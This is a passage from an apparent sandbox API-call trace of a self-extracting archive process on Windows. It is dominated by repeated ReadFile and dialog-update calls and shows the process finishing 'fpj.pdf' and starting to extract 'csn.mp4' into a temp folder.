wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.101] ReadFile (in: hFile=0x1c, lpBuffer=0x270424, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270424*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.101] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.102] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.102] GetTickCount () returned 0x1fa55 [0068.102] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.102] ReadFile (in: hFile=0x1c, lpBuffer=0x270424, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270424*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.102] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.102] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.102] GetTickCount () returned 0x1fa55 [0068.102] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.102] ReadFile (in: hFile=0x1c, lpBuffer=0x270424, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270424*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.102] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.102] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.102] GetTickCount () returned 0x1fa55 [0068.102] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.102] ReadFile (in: hFile=0x1c, lpBuffer=0x270424, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270424*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.102] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.102] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.102] GetTickCount () returned 0x1fa55 [0068.102] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.102] ReadFile (in: hFile=0x1c, lpBuffer=0x270424, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270424*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.102] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.102] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.102] GetTickCount () returned 0x1fa55 [0068.102] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.102] ReadFile (in: hFile=0x1c, lpBuffer=0x270424, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270424*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.102] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.102] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.102] GetTickCount () returned 0x1fa55 [0068.102] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.102] ReadFile (in: hFile=0x1c, lpBuffer=0x270424, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270424*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.102] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.102] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.102] GetTickCount () returned 0x1fa55 [0068.102] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.102] ReadFile (in: hFile=0x1c, lpBuffer=0x270424, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270424*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.102] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.102] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.102] GetTickCount () returned 0x1fa55 [0068.102] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.102] ReadFile (in: hFile=0x1c, lpBuffer=0x270424, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270424*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.102] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.102] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.102] GetTickCount () returned 0x1fa55 [0068.102] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.102] ReadFile (in: hFile=0x1c, lpBuffer=0x270424, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270424*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.102] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.102] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.102] GetTickCount () returned 0x1fa55 [0068.103] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.103] ReadFile (in: hFile=0x1c, lpBuffer=0x270424, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270424*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.103] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.103] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.103] GetTickCount () returned 0x1fa55 [0068.103] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.103] ReadFile (in: hFile=0x1c, lpBuffer=0x270424, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270424*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.103] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.103] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.103] GetTickCount () returned 0x1fa55 [0068.103] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.103] ReadFile (in: hFile=0x1c, lpBuffer=0x270424, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270424*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.103] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.103] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.103] GetTickCount () returned 0x1fa55 [0068.103] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.103] ReadFile (in: hFile=0x1c, lpBuffer=0x270424, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270424*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.103] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.103] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.103] GetTickCount () returned 0x1fa55 [0068.103] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.103] ReadFile (in: hFile=0x1c, lpBuffer=0x270424, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270424*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.103] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.103] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.103] GetTickCount () returned 0x1fa55 [0068.103] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.103] ReadFile (in: hFile=0x1c, lpBuffer=0x270424, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270424*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.103] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.103] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.103] GetTickCount () returned 0x1fa55 [0068.103] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.103] WriteFile (in: hFile=0x138, lpBuffer=0x2e40020*, nNumberOfBytesToWrite=0x1fe, lpNumberOfBytesWritten=0x171564, lpOverlapped=0x0 | out: lpBuffer=0x2e40020*, lpNumberOfBytesWritten=0x171564*=0x1fe, lpOverlapped=0x0) returned 1 [0068.104] GetTickCount () returned 0x1fa55 [0068.104] PeekMessageW (in: lpMsg=0x171554, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171554) returned 0 [0068.104] SetFilePointer (in: hFile=0x1c, lDistanceToMove=864266, lpDistanceToMoveHigh=0x1715e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715e8*=0) returned 0xd300a [0068.104] SystemTimeToFileTime (in: lpSystemTime=0x1715b8, lpFileTime=0x1715c8 | out: lpFileTime=0x1715c8) returned 1 [0068.104] LocalFileTimeToFileTime (in: lpLocalFileTime=0x1715c8, lpFileTime=0x1715f8 | out: lpFileTime=0x1715f8) returned 1 [0068.104] SetFileTime (hFile=0x138, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1715f8) returned 1 [0068.104] CloseHandle (hObject=0x138) returned 1 [0068.105] SetFileAttributesA (lpFileName="fpj.pdf", dwFileAttributes=0x20) returned 1 [0068.105] SetFilePointer (in: hFile=0x1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x17410c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17410c*=0) returned 0xd300a [0068.105] ReadFile (in: hFile=0x1c, lpBuffer=0x2590a8, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x2590a8*, lpNumberOfBytesRead=0x1740c4*=0x7, lpOverlapped=0x0) returned 1 [0068.105] ReadFile (in: hFile=0x1c, lpBuffer=0x25a8cf, nNumberOfBytesToRead=0x25, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x25a8cf*, lpNumberOfBytesRead=0x1740c4*=0x25, lpOverlapped=0x0) returned 1 [0068.105] OemToCharA (in: pSrc="csn.mp4", pDst=0x179cc0 | out: pDst="csn.mp4") returned 1 [0068.105] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=1, lpString2="csn.mp4", cchCount2=1) returned 1 [0068.105] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="__rar_", cchCount1=6, lpString2="csn.mp4", cchCount2=6) returned 1 [0068.106] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=-1, lpString2="csn.mp4", cchCount2=-1) returned 1 [0068.106] SetFilePointer (in: hFile=0x1c, lDistanceToMove=864310, lpDistanceToMoveHigh=0x1715ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715ec*=0) returned 0xd3036 [0068.106] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x174aec, cbMultiByte=-1, lpWideCharStr=0x170dfc, cchWideChar=1024 | out: lpWideCharStr="csn.mp4") returned 8 [0068.106] LoadStringW (in: hInstance=0x400000, uID=0x65, lpBuffer=0x41aab8, cchBufferMax=512 | out: lpBuffer="Extracting %s") returned 0xd [0068.106] wvsprintfW (in: param_1=0x1701fc, param_2="Extracting %s", arglist=0x1701f8 | out: param_1="Extracting csn.mp4") returned 18 [0068.106] SetDlgItemTextW (hDlg=0x20216, nIDDlgItem=101, lpString="Extracting csn.mp4") returned 1 [0068.106] PeekMessageW (in: lpMsg=0x1701d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1701d8) returned 0 [0068.106] OemToCharBuffA (in: lpszSrc="c", lpszDst=0x17160c, cchDstLength=0x1 | out: lpszDst="c") returned 1 [0068.106] CharToOemBuffA (in: lpszSrc="C", lpszDst=0x171600, cchDstLength=0x1 | out: lpszDst="C") returned 1 [0068.106] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x181870, cbMultiByte=-1, lpWideCharStr=0x170b94, cchWideChar=16777216 | out: lpWideCharStr="csn.mp4") returned 8 [0068.106] FindFirstFileW (in: lpFileName="csn.mp4", lpFindFileData=0x171394 | out: lpFindFileData=0x171394) returned 0xffffffff [0068.106] GetLastError () returned 0x2 [0068.106] GetFileAttributesA (lpFileName="csn.mp4" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\csn.mp4")) returned 0xffffffff [0068.106] CreateFileA (lpFileName="csn.mp4" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\csn.mp4"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x138 [0068.106] GetFileType (hFile=0x138) returned 0x1 [0068.106] SetFilePointer (in: hFile=0x138, lDistanceToMove=610, lpDistanceToMoveHigh=0x1715f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715f0*=0) returned 0x262 [0068.106] SetEndOfFile (hFile=0x138) returned 1 [0068.106] SetFilePointer (in: hFile=0x138, lDistanceToMove=0, lpDistanceToMoveHigh=0x1715dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715dc*=0) returned 0x0 [0068.107] ReadFile (in: hFile=0x1c, lpBuffer=0x270288, nNumberOfBytesToRead=0x1ee, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270288*, lpNumberOfBytesRead=0x171578*=0x1ee, lpOverlapped=0x0) returned 1 [0068.107] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.107] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.107] GetTickCount () returned 0x1fa55 [0068.107] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.107] ReadFile (in: hFile=0x1c, lpBuffer=0x270476, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270476*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.107] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.107] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.107] GetTickCount () returned 0x1fa55 [0068.107] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.107] ReadFile (in: hFile=0x1c, lpBuffer=0x270476, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270476*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.107] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.107] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.107] GetTickCount () returned 0x1fa55 [0068.107] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.107] ReadFile (in: hFile=0x1c, lpBuffer=0x270476, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270476*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.107] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.107] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.107] GetTickCount () returned 0x1fa55 [0068.107] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.107] ReadFile (in: hFile=0x1c, lpBuffer=0x270476, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270476*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.107] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.107] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.107] GetTickCount () returned 0x1fa55 [0068.107] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.107] ReadFile (in: hFile=0x1c, lpBuffer=0x270476, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270476*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.107] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.107] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.107] GetTickCount () returned 0x1fa55 [0068.107] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.107] ReadFile (in: hFile=0x1c, lpBuffer=0x270476, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270476*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.107] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.107] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.107] GetTickCount () returned 0x1fa55 [0068.107] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.107] ReadFile (in: hFile=0x1c, lpBuffer=0x270476, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270476*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.107] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.107] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.107] GetTickCount () returned 0x1fa55 [0068.107] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.107] ReadFile (in: hFile=0x1c, lpBuffer=0x270476, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270476*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.107] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.107] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.108] GetTickCount () returned 0x1fa55 [0068.108] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.108] ReadFile (in: hFile=0x1c, lpBuffer=0x270476, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270476*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.108] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.108] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.108] GetTickCount () returned 0x1fa55 [0068.108] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.108] ReadFile (in: hFile=0x1c, lpBuffer=0x270476, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270476*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.108] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.108] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.108] GetTickCount () returned 0x1fa55 [0068.108] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.108] ReadFile (in: hFile=0x1c, lpBuffer=0x270476, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270476*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.108] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.108] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.108] GetTickCount () returned 0x1fa55 [0068.108] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.108] ReadFile (in: hFile=0x1c, lpBuffer=0x270476, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270476*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.108] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.108] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.108] GetTickCount () returned 0x1fa55 